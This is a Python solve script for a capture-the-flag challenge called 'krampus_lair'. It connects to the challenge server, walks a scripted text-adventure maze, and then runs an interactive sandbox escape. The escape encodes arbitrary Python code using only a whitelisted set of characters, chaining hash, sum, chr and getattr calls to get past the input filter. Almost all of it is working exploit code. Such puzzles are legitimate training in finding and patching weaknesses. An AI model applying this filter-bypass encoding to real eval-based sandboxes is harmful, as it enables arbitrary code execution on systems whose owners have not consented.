krampus_lair.py

import socket

HOST = 'challs.xmas.htsp.ro'
PORT = 6001

log = open("net.log", "wb")

def send(s, data):
    if isinstance(data, str):
        data = bytearray(data, 'ascii')
    s.sendall(data)
    s.sendall(b'\n')

def recv_until(s, q):
    buf = b""
    while not buf.endswith(q):
        data = s.recv(1)
        buf += data
        log.write(data)
        log.flush()

    return buf.decode("utf-8")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

def await_prompt():
    print(recv_until(s, b"> "))

def do(cmd, quiet=False):
    if not quiet:
        print(cmd)
    send(s, cmd)
    await_prompt()

# Navigate the maze.
await_prompt()
do("east")
do("take can")
do("use can")
do("take bow")
do("west")
do("north")
do("west")
do("use can")
do("take snare")
do("east")
do("south")
do("west")
do("use can")
do("take timer")
do("east")
do("north")
do("east")
do("east")
do("east")
do("take gem")
do("west")
do("west")
do("west")

print(recv_until(s, b"GOOD LUCK!"))

ALLOWED_CHARS = "gemhuntersnarecantimer(),/v"

def one():
    return "int(hash(int)/hash(int))"

def integer(n):
    return "sum((" + ",".join([one()] * n) + "))"

def char(c):
    return "chr(" + integer(ord(c)) + ")"

def string(s):
    chars = [char(c) for c in s]
    out = chars[0]
    for c in chars[1:]:
        out = "getattr(str,min(vars(str)))(" + out + "," + c + ")"

    return out

def payload(code):
    p = string(code)

    for c in p:
        if c not in ALLOWED_CHARS:
            raise Exception("Invalid char: " + c)
    return p

do("time")

await_prompt()
while True:
    do(payload(input()), quiet=True)